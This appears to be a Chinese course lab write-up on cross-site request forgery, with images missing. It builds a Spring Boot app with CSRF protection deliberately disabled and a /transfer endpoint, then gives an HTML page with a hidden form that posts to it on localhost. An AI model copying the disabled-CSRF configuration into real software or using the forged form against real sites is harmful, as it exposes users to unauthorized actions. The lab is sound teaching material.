数据库实验5-跨站请求伪造攻击实验

前言

该方式已经尽全力来简化操作流程。

创建项目

新建一个Spring Boot项目：

勾选：

创建后如图所示：

创建config文件夹并配置关闭SpringSecurity的CSRF验证接口：

代码如下：

package com.example.demo.config;

import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;

@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests().anyRequest().authenticated()
                .and()
                .formLogin()
                .and()
                .csrf()
                .disable();
    }
}

之后创建调试接口：

代码如下：

package com.example.demo.controller;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class HelloController {
    @RequestMapping("/transfer")
    public void Success(String name) {
        System.out.println("现在操作的标识符 = " + name);
    }
    @GetMapping("/hello")
    public String hello() {
        return "hello";
    }
}

在application.properties内配置好账号密码：

配置完毕。

创建项目2

在VSCode内，复制粘贴如下代码：

<!DOCTYPE html>
<html>
    <body>
        <form action="http://127.0.0.1:8080/transfer" method="post">
            <input type="hidden" value="我是你爷爷" name="name">
            <input type="submit" value="点击一下我">
        </form>
        </body>
</html>